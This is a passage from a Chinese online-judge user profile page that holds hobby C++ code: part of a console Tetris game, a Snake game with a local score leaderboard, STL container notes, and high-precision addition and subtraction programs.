		if (collisionDetection(block01, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block01[i][j];
				}
			}
		}
		break;
	case 11:
		if (collisionDetection(block00, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block00[i][j];
				}
			}
		}
		else if (collisionDetection(block00, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block00[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block00, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block00[i][j];
				}
			}
			++y;
		}
		else if (collisionDetection(block00, map, x, y - 2))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block00[i][j];
				}
			}
			y = y - 2;
		}
		else if (collisionDetection(block00, map, x, y + 2))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block00[i][j];
				}
			}
			y = y + 2;
		}
		break;
	case 12:
		if (collisionDetection(block03, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block03[i][j];
				}
			}
		}
		else if (collisionDetection(block03, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block03[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block03, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block03[i][j];
				}
			}
			++y;
		}
		break;
	case 13:
		if (collisionDetection(block04, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block04[i][j];
				}
			}
		}
		else if (collisionDetection(block04, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block04[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block04, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block04[i][j];
				}
			}
			++y;
		}
		break;
	case 14:
		if (collisionDetection(block05, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block05[i][j];
				}
			}
		}
		else if (collisionDetection(block05, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block05[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block05, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block05[i][j];
				}
			}
			++y;
		}
		break;
	case 15:
		if (collisionDetection(block02, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block02[i][j];
				}
			}
		}
		else if (collisionDetection(block02, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block02[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block02, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block02[i][j];
				}
			}
			++y;
		}
		break;

	case 16:
		if (collisionDetection(block07, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block07[i][j];
				}
			}
		}
		else if (collisionDetection(block07, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block07[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block07, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block07[i][j];
				}
			}
			++y;
		}
		break;
	case 17:
		if (collisionDetection(block08, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block08[i][j];
				}
			}
		}
		else if (collisionDetection(block08, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block08[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block08, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block08[i][j];
				}
			}
			++y;
		}
		break;
	case 18:
		if (collisionDetection(block09, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block09[i][j];
				}
			}
		}
		else if (collisionDetection(block09, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block09[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block09, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block09[i][j];
				}
			}
			++y;
		}
		break;
	case 19:
		if (collisionDetection(block06, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block06[i][j];
				}
			}
		}
		else if (collisionDetection(block06, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block06[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block06, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block06[i][j];
				}
			}
			++y;
		}
		break;
	case 20:
		if (collisionDetection(block11, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block11[i][j];
				}
			}
		}
		else if (collisionDetection(block11, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block11[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block11, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block11[i][j];
				}
			}
			++y;
		}
		break;
	case 21:
		if (collisionDetection(block12, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block12[i][j];
				}
			}
		}
		else if (collisionDetection(block12, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block12[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block12, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block12[i][j];
				}
			}
			++y;
		}
		break;
	case 22:
		if (collisionDetection(block13, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block13[i][j];
				}
			}
		}
		else if (collisionDetection(block13, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block13[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block13, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block13[i][j];
				}
			}
			++y;
		}
		break;
	case 23:
		if (collisionDetection(block10, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block10[i][j];
				}
			}
		}
		else if (collisionDetection(block10, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block10[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block10, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block10[i][j];
				}
			}
			++y;
		}
		break;
	case 24:
		if (collisionDetection(block15, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block15[i][j];
				}
			}
		}
		else if (collisionDetection(block15, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block15[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block15, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block15[i][j];
				}
			}
			++y;
		}
		break;
	case 25:
		if (collisionDetection(block14, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block14[i][j];
				}
			}
		}
		else if (collisionDetection(block14, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block14[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block14, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block14[i][j];
				}
			}
			++y;
		}
		break;
	case 26:
		if (collisionDetection(block17, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block17[i][j];
				}
			}
		}
		else if (collisionDetection(block17, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block17[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block17, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block17[i][j];
				}
			}
			++y;
		}
		break;
	case 27:
		if (collisionDetection(block16, map, x, y))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block16[i][j];
				}
			}
		}
		else if (collisionDetection(block16, map, x, y - 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block16[i][j];
				}
			}
			--y;
		}
		else if (collisionDetection(block16, map, x, y + 1))
		{
			clearBlock(hOut, block, x, y);
			for (int i = 0; i < 4; ++i)
			{
				for (int j = 0; j < 4; ++j)
				{
					block[i][j] = block16[i][j];
				}
			}
			++y;
		}
		break;
	default:
		break;
	}
}

void myStop(HANDLE hOut, int block[4][4])
{
	clearBlock(hOut, block, 5, 15);
	SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_INTENSITY);
	gotoXY(hOut, 30, 7);
	cout << "游戏暂停";
	char key;
	while (true)
	{
		key = _getch();
		if (key == 32)
		{
			gotoXY(hOut, 30, 7);
			cout << "        ";
			printBlock(hOut, block, 5, 15);
			return;
		}
		if (key == 27)
		{
			exit(0);
		}
	}
}

void eliminateRow(HANDLE hOut, int map[21][12], int &val, int &fraction, int &checkpoint)
{
	SetConsoleTextAttribute(hOut, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED | FOREGROUND_INTENSITY);
	for (int i = 19; i >= 0; --i)
	{
		int x = 0;
		for (int j = 1; j < 11; ++j)
		{
			x += map[i][j];
		}
		if (x == 10)
		{
			fraction += 100;
			if (val > 1 && fraction / 1000 + 1 != checkpoint)
			{
				checkpoint = fraction / 1000 + 1;
				val -= 5;
			}
			for (int m = i; m > 0; --m)
			{
				for (int n = 1; n < 11; ++n)
				{
					map[m][n] = map[m - 1][n];
					gotoXY(hOut, 2 * n, m);
					if (map[m][n] == 1)
					{
						cout << "■";
					}
					else
					{
						cout << "  ";
					}
				}
			}
			++i;
		}
	}
	gotoXY(hOut, 36, 1);
	cout << fraction;
	gotoXY(hOut, 36, 2);
	cout << checkpoint;
}

Copy

————————AC———————— C++小游戏（盗版贪吃蛇）

#ifndef SNAKE_H
#define SNAKE_H
#include<iostream>
#include<windows.h>
#include<vector>
using namespace std;
const int wall=25;
class Snakeclass
{
 private:
  COORD tailcoord,foodcoord;
  vector<COORD> snake;
  vector<COORD> map2;
  int snakesize,j,i,a;
  int m,mark,speech;
  bool pattern;
 public:
  Snakeclass(){m=wall/2,i=0,j=2,a=0,snakesize=4,mark=0,speech=500;}
  ~Snakeclass(){}
  void showmenu();//菜单
  void showmap1();//经典地图
  void showmap2(int);//街机地图
  void drawsnake();//初始化蛇身坐标
  void snakemove();//蛇移动判断
  void showmark();//显示当前分数
  void food();//食物生成
  void judgedie();//判断死亡
  void customspass();//关卡切换
  void savemark();//记录分数
  void showsavemark();//读取记录分数
  void showface(); //显示表情
  void gotoxy(int x,int y);//控制光标函数
  void HideCursor();//隐藏光标函数
  void color(int a);//控制颜色函数
};
#endif

//函数定义和主程序

#include<iostream>
#include<math.h>
#include<fstream>
#include<iomanip>
#include<windows.h>
#include<ctime>
#include<cstdlib>
#include<conio.h>
#include<vector>
void Snakeclass::gotoxy(int x,int y)//位置函数,输入坐标后，光标会移动到那个位置以便进行输出
{
 COORD pos;
 pos.X=2*x;   //下面输出的图形都占两个位置
 pos.Y=y;
 SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);//光标控制的位置
}
void Snakeclass::HideCursor()//隐藏光标
{
  CONSOLE_CURSOR_INFO cursor_info = {1, 0};
  SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
}
void Snakeclass::color(int a)//颜色函数
{
 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);//只有一个参数
}
void Snakeclass::showmap1()
{ 
 COORD cod;
 for(int i=0;i<=wall;++i)
 {
     for(int j=0;j<=wall;++j)
  {
         if(i==0||i==wall||j==0||j==wall)
      {
          gotoxy(i ,j);
           color(10);
           cout<<"■";
      }//围墙
       else
    {
         gotoxy(i ,j);
          color(3);
          cout<<"□" ;
    }//可以玩的区域
   }
    }
 for(int i=0;i!=snakesize;++i)
 {
  cod.X=m;
  cod.Y=wall-snakesize+i;
  snake.push_back(cod);
 }
    showface();
}
void Snakeclass::showmap2(int a)
{
 COORD cod;
 switch(a)
 {
  case 1:break;
  case 2:for(int i=m-2;i!=m+3;++i)
   {
    for(int j=m-2;j!=m+3;++j)
    {
     cod.X=i;
     cod.Y=j;
     map2.push_back(cod);
    }
    for(int i=5;i!=10;++i) 
    {
     cod.X=i;
     cod.Y=5;
     map2.push_back(cod);
     cod.X=5;
     cod.Y=i;
     map2.push_back(cod);
     cod.X=10+i;
     cod.Y=5;
     map2.push_back(cod);
     cod.X=19;
     cod.Y=i;
     map2.push_back(cod);
     cod.X=i;
     cod.Y=19;
     map2.push_back(cod);
     cod.X=5;
     cod.Y=10+i;
     map2.push_back(cod);
     cod.X=10+i;
     cod.Y=19;
     map2.push_back(cod);
     cod.X=19;
     cod.Y=10+i;
     map2.push_back(cod);
    }
   }break;
  case 3:for(int i=7;i!=22;++i)
   {
    cod.X=i;
    cod.Y=9;
    map2.push_back(cod);
   }
   for(int j=9;j!=13;++j)
   {
    cod.X=7;
    cod.Y=j;
    map2.push_back(cod);
   }
   for(int j=9;j!=19;++j)
   {
    cod.X=21;
    cod.Y=j;
    map2.push_back(cod);
   }
   for(int i=4;i!=22;++i)
   {
    cod.X=i;
    cod.Y=18;
    map2.push_back(cod);
    cod.X=i;
    cod.Y=6;
    map2.push_back(cod);
   }
   for(int i=4;i!=19;++i)
   {
    cod.X=i;
    cod.Y=15;
    map2.push_back(cod);
   }
   for(int j=12;j!=16;++j)
   {
    cod.X=18;
    cod.Y=j;
    map2.push_back(cod);
   }
   for(int j=6;j!=16;++j)
   {
    cod.X=4;
    cod.Y=j;
    map2.push_back(cod);
   }break;
 }
 for(vector<COORD>::iterator beg=map2.begin();beg!=map2.end();++beg)
 {
  gotoxy(beg->X,beg->Y);
        color(10);
     cout<<"■";
    }
}
void Snakeclass::showmenu()
{
 showmap1();
 a=0;
 COORD cod1,cod2;
 char ch;
 bool well=true,well1;
 gotoxy(m-2,m-2);
 cout<<"●经典模式";
 gotoxy(m-2,m+2);
 cout<<"●街机模式";
 cod1.X=m-4;
 cod1.Y=m-2;
 cod2.X=m-4;
 cod2.Y=m+2;
 while(well)
 {
  well1=true;
  COORD codtemp=cod1;
  gotoxy(codtemp.X,codtemp.Y);
  color(14);
     cout<<"★";
     gotoxy(cod2.X,cod2.Y);
  color(3);
        cout<<"□" ;
  if(kbhit())
  {
   gotoxy(wall,wall);
   ch=getch();
   if(ch!='W'&&ch!='w'&&ch!='D'&&ch!='d'&&ch!='S'&&ch!='s')
   {
    well1=false;
   }
   if(well1)
   {
    switch(ch)
    {
     case 'W':
     case 'w':codtemp=cod1,cod1=cod2,cod2=codtemp;break;
     case 'S':
        case 's':codtemp=cod1,cod1=cod2,cod2=codtemp;break;
        case 'D':
        case 'd':codtemp.X+=2;break;
       }
   }
   
      if(codtemp.X==m-2&&codtemp.Y==m+2)
      {
       pattern=true;
       well=false;
   }
   if(codtemp.X==m-2&&codtemp.Y==m-2)
   {
    pattern=false;
    well=false;
   }
  }
 }
}
void Snakeclass::drawsnake()
{ 
    for(vector<COORD>::iterator beg=snake.begin();beg!=snake.end()-1;++beg)
 {
  gotoxy(beg->X,beg->Y);
        color(14);
        cout<<"★"<<endl;
    }
    showmark();
    gotoxy(wall+2,0);
    cout<<"        《贪吃蛇》";
    gotoxy(wall+2,1);
    cout<<"w,a,s,d控制方向，空格暂停,按住L_SHIFT加速。";
    gotoxy(wall+2,wall);
    color(2);
    cout<<"制作：刁民工作室";
}
void Snakeclass::snakemove()
{ 
 showsavemark();
 int speechtemp1,speechtemp2;
 char ch,sh;
 COORD cd;
 bool well=false,well2=false,well3=true,well4=true;
 while(1)
 { 
  cd.X=snake.begin()->X;
  cd.Y=snake.begin()->Y;
  if(kbhit())
  {
   ch=getch();
   if(well3)
   {
    food();
    well3=false;
   } 
  }
  if(GetAsyncKeyState(VK_LSHIFT) & 0x8000)
  {
   speechtemp2=50;
  }
  else
  {
   speechtemp2=speechtemp1;
  }
  if(((sh=='a'||sh=='A')&&(ch=='D'||ch=='d'))||((sh=='D'||sh=='d')&&(ch=='A'||ch=='a'))||((sh=='W'||sh=='w')&&(ch=='S'||ch=='s'))||((sh=='S'||sh=='s')&&(ch=='W'||ch=='w'))||(ch!='A'&&ch!='a'&&ch!='W'&&ch!='w'&&ch!='D'&&ch!='d'&&ch!='S'&&ch!='s'&&ch!=' '))
       {ch=sh;}
  switch(ch)
  {
   case 'W':
   case 'w':--cd.Y,well=true;break;
   case 'S':
      case 's':++cd.Y,well=true;break;
      case 'A':
      case 'a':--cd.X,well=true;break;
      case 'D':
      case 'd':++cd.X,well=true;break;
      case ' ':well=false;break;
     }
     if(ch!=' ')
  sh=ch;
  if(well)
  {   
   if(snake.begin()->X==foodcoord.X&&snake.begin()->Y==foodcoord.Y)
   {
    well2=true;
    mark+=10;
    if(mark%50==0)
    {
     ++i;
     showface();
     gotoxy(wall+2,m+2);
           color(14);
           cout<<"升级加速！第"<<i<<"阶段";
     speech-=25;
    }
    if(pattern)
    {
     if(mark%100==0)
     {
      if(j==2)
      {
       j=3;
      }
      else
      j=2;
      customspass();
     } 
    }
    snake.begin()->X=foodcoord.X;
    snake.begin()->Y=foodcoord.Y;
    snake.push_back(foodcoord);
    color(14);
    showmark();
   } 
   if(well2)
   {
    food();
    well2=false;
   }
   vector<COORD>::reverse_iterator rbeg=snake.rbegin();
      while(rbeg!=snake.rend()-1)
   {
          rbeg->X=(rbeg+1)->X;
          rbeg->Y=(rbeg+1)->Y;
          ++rbeg;
      }
   snake.begin()->X=cd.X;
    snake.begin()->Y=cd.Y;
    judgedie();
      tailcoord.X=snake.rbegin()->X;
   tailcoord.Y=snake.rbegin()->Y;
         gotoxy(snake.begin()->X,snake.begin()->Y);
         color(14);
         cout<<"★"<<endl;
   gotoxy(tailcoord.X,tailcoord.Y);
   color(3);
         cout<<"□";
  }
  speechtemp1=speech;
  Sleep(speechtemp2);
 }
}
void Snakeclass::customspass()
{
 if(pattern)
 {
  snake.clear();
  map2.clear();
  showmap1();
  showmap2(j);
  drawsnake();
  snakemove();
 }
 else
 {
  snake.clear();
  map2.clear();
  showmap1();
  drawsnake();
  snakemove();
 }
}
void Snakeclass::food()
{
begin:
 srand((unsigned)time(NULL));
    foodcoord.X=rand()%(wall-1)+1;
    foodcoord.Y=rand()%(wall-1)+1;
 for(vector<COORD>::iterator beg=snake.begin();beg!=snake.end();++beg)
 {
  if(foodcoord.X==beg->X&&foodcoord.Y==beg->Y)
  {
   goto begin;
  }
    }
    for(vector<COORD>::iterator beg=map2.begin();beg!=map2.end();++beg)
 {
  if(foodcoord.X==beg->X&&foodcoord.Y==beg->Y)
  {
   goto begin;
  }
    }
 gotoxy(foodcoord.X,foodcoord.Y);
 color(15);
 cout<<"●";
}
void Snakeclass::showmark()
{
 gotoxy(wall+2,m+1);
 cout<<"分数："<<mark;
}
void Snakeclass::savemark()
{
 ofstream file("贪吃蛇排行榜.txt",ios::out|ios::app);
 file<<mark<<endl;
 file.close();
}
void Snakeclass::showsavemark()
{
 color(14);
 int a,n=0,temp;
 ifstream file("贪吃蛇排行榜.txt",ios::in);
 while(file>>a)
 ++n;
 file.close();
 ifstream file2("贪吃蛇排行榜.txt",ios::in);
 int num[n];
 for(int i=0;i!=n;++i)
 {
  file2>>num[i]; 
 }
 file2.close();
 for(int i=0;i!=n;++i)
 {
  for(int j=i+1;j!=n;++j)
  {
   if(num[i]<num[j])
   {
    temp=num[i];
    num[i]=num[j];
    num[j]=temp;
   }
  }
 }
 gotoxy(wall+2,m+4);
 cout<<"分数排行："<<endl;
 for(int i=0;i!=n;++i)
 {
  if(i==5)
  break;
  gotoxy(wall+2,m+5+i);
  cout<<"NO."<<i+1<<":"<<num[i]<<endl;
 } 
}
void Snakeclass::judgedie()
{
 if(snake.begin()->X==0||snake.begin()->X==wall||snake.begin()->Y==0||snake.begin()->Y==wall)
    {
        gotoxy(m-3,m);
        color(14);
        cout<<"你把墙撞穿了！";
        savemark();
        showsavemark();
        gotoxy(wall+6,wall);
        exit(0);
 }
 for(vector<COORD>::iterator beg=map2.begin();beg!=map2.end();++beg)
 {
  if(snake.begin()->X==beg->X&&snake.begin()->Y==beg->Y)
  {
   gotoxy(m-3,m);
         color(14);
         cout<<"你把墙撞穿了！";
         savemark();
         showsavemark();
         gotoxy(wall+6,wall);
         exit(0);
  }
    }
 for(vector<COORD>::iterator beg=snake.begin()+1;beg!=snake.end();++beg)
 {
  if(snake.begin()->X==beg->X&&snake.begin()->Y==beg->Y)
  {
   gotoxy(m-3,m);
         color(14);
         cout<<"你把自己吃了！";
         savemark();
         showsavemark();
         gotoxy(wall+6,wall);
         exit(0);
  }
    }
}
void Snakeclass::showface()
{
 if(a==1)
 {
  a=2;
 }
 else
 a=1;
 switch(a)
 {
  case 1:color(15);
    gotoxy(wall+2,3);
    cout<<"                              ";
    gotoxy(wall+2,4);
    cout<<"（”\\（ ●—● ）";
    gotoxy(wall+2,5);
    cout<<"                              ";
    gotoxy(wall+2,6);
    cout<<"  \\  /       ○ \\ \\        ";
    gotoxy(wall+2,7);
    cout<<"                              ";
    gotoxy(wall+2,8);
    cout<<"   （            ）”         ";
    gotoxy(wall+2,9);
    cout<<"                              ";
    gotoxy(wall+2,10);
    cout<<"     \\ __ /\\ __ /           ";
    gotoxy(wall+2,11);
    cout<<"                              ";break;
  case 2:color(14);
    gotoxy(wall+2,3);
    cout<<" へ　　　　　／|";
    gotoxy(wall+2,4);
    cout<<" /＼7　　　 ∠＿/";
    gotoxy(wall+2,5);
    cout<<" /　│　　 ／　／";
    gotoxy(wall+2,6);
    cout<<"│　Z ＿,＜　／　　 /`ヽ";
    gotoxy(wall+2,7);
    cout<<"│　　　　　ヽ　　 /　　〉";
    gotoxy(wall+2,8);
    cout<<"Y　　　　　`　 /　　/     \\";
    gotoxy(wall+2,9);
    cout<<"ィ●　、　●　　（）〈　　/";
    gotoxy(wall+2,10);
    cout<<"()　 へ　　　　|　＼〈";
    gotoxy(wall+2,11);
    cout<<"　>- 、_　 ィ　";break;
 }
}
int main()
{
 Snakeclass csnake;
 csnake.HideCursor();
 csnake.showmenu();
 csnake.customspass();
 return 0;
}

Copy

已递交

已通过

题解被赞

题目标签

略有小成2递归2递推1循环结构1循环嵌套1驾轻就熟1融会贯通1高性能1搜索1记忆化搜索1分支结构1条件分支1

状态

开发

开源
API

支持

关于
联系我们
隐私
服务条款
版权申诉
Language
兼容模式
主题
Worker 0, 58ms
Powered by Hydro v4.9.27 Community(https://s11.ax1x.com/2024/01/20/pFVFTds.png)](http://oj.cqxiaomawang.com:8888/)
首页
题库
训练
比赛
作业
讨论
更多
CQ04CPCOO23016
穆宏斌

空空大师

UID: 3674, 注册于 8 个月前, 最后登录于 1 周前, 最后活动于 20 小时前.

解决了 0 道题目，RP: 0 (No. ?)

个人简介
最近活动
最近编写的题解

如果可以，就请去帮帮他们吧！ 人间再观察的个人空间-人间再观察个人主页-哔哩哔哩视频 (bilibili.com) /* 栈 stack s; s.top() //访问栈顶的元素 s.push(5//数据) //压栈，入栈 s.pop() //弹栈，出栈 s.empty()//判断栈是否为空 s.size()//元素的个数队列 queue q; q.push(a//入队数);//入队 q.pop() //出队 q.empty()//判断队列是否为空（空=true 非空=false） q.size() //元素个数 q.front()//访问队首 q.back()//访问队尾优先队列：优先级高的显出 priority_queue y;默认是大的数优先级高 priority_queue<int,vector,less >; y.top() //访问队首的元素 y.push(5//数据) //入队 y.pop() //出队 y.empty()//判断栈是否为空 y.size()//元素的个数 */ 部分头文件 #ifndef _GLIBCXX_NO_ASSERT #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include

#if __cplusplus >= 201103L #include #include #include #include #include #include #include #include #include #endif

// C++ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include

#if __cplusplus >= 201103L #include #include #include #include <condition_variable> #include <forward_list> #include #include <initializer_list> #include #include #include #include #include <scoped_allocator> #include <system_error> #include #include #include #include <type_traits> #include <unordered_map> #include <unordered_set> 高精度加法 #include<bits/stdc++.h> using namespace std; int a[505],b[505],c[505]; int main(){ string s1,s2; cin>>s1>>s2; int len=s1.size(),len1=s2.size(); for(int i=0;i<len;i++) a[len-1-i]=s1[i]-48; for(int i=0;i<len1;i++) b[len1-1-i]=s2[i]-48; int len2=max(len,len1); for(int i=0;i<len2;i++){ c[i]+=a[i]+b[i]; c[i+1]+=c[i]/10; c[i]%=10; } if(c[len2]>=1) len2++; for(int i=len2-1;i>=0;i--){ cout<<c[i]; } return 0; }

高精度减法 #include<bits/stdc++.h> using namespace std; int a[100000],b[100000],c[100000]; int main(){ string s1,s2; cin>>s1>>s2; int len=s1.size(),len1=s2.size(); if(len<len1||(len==len1&&s1<s2)) { swap(s1,s2); swap(len,len1); cout<<'-'; } for(int i=0;i<len;i++) a[len-1-i]=s1[i]-48; for(int i=0;i<len1;i++) b[len1-1-i]=s2[i]-48; for(int i=0;i<len;i++){ if(a[i]-b[i]<0){ a[i+1]-=1; a[i]+=10; } c[i]=a[i]-b[i]; } while(len>1&&c[len-1]==0) len--; for(int i=len-1;i>=0;i--) cout<<c[i]; return 0; }

MiKu

